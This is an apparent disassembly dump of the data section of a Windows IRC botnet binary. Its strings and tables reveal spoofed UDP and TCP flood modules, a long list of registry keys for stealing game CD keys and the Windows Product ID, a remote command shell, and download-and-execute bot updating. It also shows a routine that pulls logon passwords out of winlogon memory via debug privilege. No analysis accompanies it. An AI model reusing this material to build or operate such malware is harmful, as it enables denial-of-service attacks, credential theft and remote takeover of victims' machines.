		db 'd>.',0
		align 4
unk_4364EC	db  2Dh	; -		; DATA XREF: sub_413E35+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
unk_43650C	db  2Dh	; -		; DATA XREF: sub_413E35+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_436544	db  2Dh	; -		; DATA XREF: sub_413E35+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
unk_436578	db  2Dh	; -		; DATA XREF: sub_4143CB+66o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
unk_4365AC	db  2Dh	; -		; DATA XREF: sub_4146CE+4Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_4365EC	db  2Dh	; -		; DATA XREF: sub_414745+345o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_436678	db  2Dh	; -		; DATA XREF: sub_414745+2F3o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
unk_4366DC	db  2Dh	; -		; DATA XREF: sub_414745+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
unk_436708	db  2Dh	; -		; DATA XREF: sub_414745+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_43674C	db  2Dh	; -		; DATA XREF: sub_414745+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_43679C	db  2Dh	; -		; DATA XREF: sub_414745+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_4367C8	db  2Dh	; -		; DATA XREF: sub_414A91+60o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0            ; DATA XREF: sub_414C2E+204o
		align 4
dword_4367FC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436810	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 4
dword_436848	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_43685C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_436870	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_41528D+DCo
		dd 6574656Ch, 0
dword_43688C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_41528D+3Fo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 4
		dd 80000001h
off_4368BC	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368C8	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437A4Ch, 437A40h,	437A30h, 2 dup(0)
		dd 80000001h, 437A10h, 437A0Ch,	4379F8h, 2 dup(0)
		dd 80000001h, 4379D4h, 437A0Ch,	4379C8h, 2 dup(0)
		dd 80000001h, 4379A4h, 43799Ch,	437988h, 2 dup(0)
		dd 80000001h, 437974h, 437964h,	437948h, 2 dup(0)
		dd 80000001h, 437904h, 437A8Ch,	4378F0h, 2 dup(0)
		dd 80000002h, 4378C4h, 4378B8h,	437898h, 2 dup(0)
		dd 80000002h, 437864h, 437A8Ch,	43784Ch, 2 dup(0)
		dd 80000002h, 437818h, 437A8Ch,	437800h, 2 dup(0)
		dd 80000002h, 4377E8h, 437A8Ch,	4377D0h, 2 dup(0)
		dd 80000002h, 437794h, 43D7E8h,	437784h, 2 dup(0)
		dd 80000002h, 43774Ch, 43D7E8h,	437738h, 2 dup(0)
		dd 80000002h, 4376ECh, 43D7E8h,	4376CCh, 2 dup(0)
		dd 80000002h, 43767Ch, 43D7E8h,	437650h, 2 dup(0)
		dd 80000002h, 437614h, 43D7E8h,	437600h, 2 dup(0)
		dd 80000002h, 4375C8h, 43D7E8h,	4375B8h, 2 dup(0)
		dd 80000002h, 437568h, 43D7E8h,	43753Ch, 2 dup(0)
		dd 80000002h, 4374FCh, 43D7E8h,	4374E0h, 2 dup(0)
		dd 80000002h, 4374B0h, 43D7E8h,	437490h, 2 dup(0)
		dd 80000002h, 437454h, 43D7E8h,	437440h, 2 dup(0)
		dd 80000002h, 4373F8h, 43D7E8h,	4373D8h, 2 dup(0)
		dd 80000002h, 437384h, 43D7E8h,	437354h, 2 dup(0)
		dd 80000002h, 437304h, 43D7E8h,	4372D8h, 2 dup(0)
		dd 80000002h, 437298h, 437290h,	437270h, 2 dup(0)
		dd 80000002h, 43722Ch, 43D7E8h,	437210h, 2 dup(0)
		dd 80000002h, 4371C4h, 43D7E8h,	4371A0h, 2 dup(0)
		dd 80000002h, 43716Ch, 43D7E8h,	437160h, 2 dup(0)
		dd 80000002h, 43712Ch, 43D7E8h,	437120h, 2 dup(0)
		dd 80000002h, 4370ECh, 43D7E8h,	4370E0h, 2 dup(0)
		dd 80000002h, 4370ACh, 43D7E8h,	4370A0h, 2 dup(0)
		dd 80000002h, 437064h, 43D7E8h,	437050h, 2 dup(0)
		dd 80000002h, 437014h, 43D7E8h,	437000h, 2 dup(0)
		dd 80000002h, 436FD0h, 437A8Ch,	436FB4h, 2 dup(0)
		dd 80000002h, 436F94h, 436F8Ch,	436F68h, 2 dup(0)
		dd 80000002h, 436F4Ch, 436F8Ch,	436F2Ch, 2 dup(0)
		dd 80000002h, 436F0Ch, 436F8Ch,	436EE8h, 2 dup(0)
		dd 80000002h, 436ED0h, 436F8Ch,	436ECCh, 2 dup(0)
		dd 80000002h, 436EB0h, 436EA0h,	436E98h, 2 dup(0)
		dd 80000002h, 436E64h, 42C8E0h,	436E4Ch, 2 dup(0)
		dd 80000002h, 436E10h, 436E04h,	436DDCh, 436DCCh, 436DB8h
		dd 80000002h, 436D94h, 436D88h,	436D74h, 436D64h, 436D5Ch
		dd 80000002h, 436D94h, 436D88h,	436D30h, 436D64h, 436D28h
		dd 80000002h, 436D94h, 436D88h,	436CF8h, 436D64h, 436CF0h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .packed:004368C4o
aCdkey		db 'CDKey',0            ; DATA XREF: .packed:004368C0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
					; DATA XREF: .packed:off_4368BCo
		align 4
asc_437ABC:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437AC0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
unk_437AD8	db  2Dh	; -		; DATA XREF: sub_415C59+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_437B0C	db  2Dh	; -		; DATA XREF: sub_415C59+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B3C	db  2Dh	; -		; DATA XREF: sub_415C59+47o
					; sub_415E1A+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_437B60	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_415E1A+362o
					; sub_4161BC+156o
		dd 726F72h
unk_437B78	db  2Dh	; -		; DATA XREF: sub_415E1A+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437BA4	db  2Dh	; -		; DATA XREF: sub_415E1A+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BC8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_415E1A+1CBo
		dd 74756Fh
dword_437BE0	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_415E1A+16Ao
		dd 169h
unk_437BF8	db  2Dh	; -		; DATA XREF: sub_415E1A+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C18	db  2Dh	; -		; DATA XREF: sub_415E1A+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C3C	db  2Dh	; -		; DATA XREF: sub_415E1A+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_437C60	db  2Dh	; -		; DATA XREF: sub_4161BC+1D1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437C8C	db  2Dh	; -		; DATA XREF: sub_4161BC+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CAC	db  2Dh	; -		; DATA XREF: sub_4161BC+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_4161BC+97o
unk_437CDC	db  2Dh	; -		; DATA XREF: sub_4161BC+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D0C	db  2Dh	; -		; DATA XREF: sub_4163F9+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D38	db  2Dh	; -		; DATA XREF: sub_4163F9+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D6C	db  2Dh	; -		; DATA XREF: sub_4163F9+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437DB0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_4163F9+358o
		dd 25206465h, 73h
unk_437DCC	db  2Dh	; -		; DATA XREF: sub_4163F9+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437E04	db  2Dh	; -		; DATA XREF: sub_4163F9+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E2C	db  2Dh	; -		; DATA XREF: sub_4163F9+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437E58	db  2Dh	; -		; DATA XREF: sub_4163F9+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437E80	db  2Dh	; -		; DATA XREF: sub_4163F9+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437EA8	db  2Dh	; -		; DATA XREF: sub_4163F9+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 4
off_437EF8	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437EFC	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 10h
unk_437F10	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F4C	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_2		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
dword_437F8C	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_416CAD+C8o
		dd 64252064h, 6C696620h, 7365h
unk_437FAC	db  2Dh	; -		; DATA XREF: sub_416CAD+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
dword_437FD4	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_416DC8+107o
		dd 73252064h, 73255Ch
dword_437FF0	dd 2A5C7325h, 0		; DATA XREF: sub_416DC8+1Ao
unk_437FF8	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43802C	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438058	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438090	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_416F1A+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_416F1A+CEo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 4
unk_4381C8	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_438214	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438264	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382B8	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_438E64
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E60
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_1		; "s"
		dd offset aD		; "d"
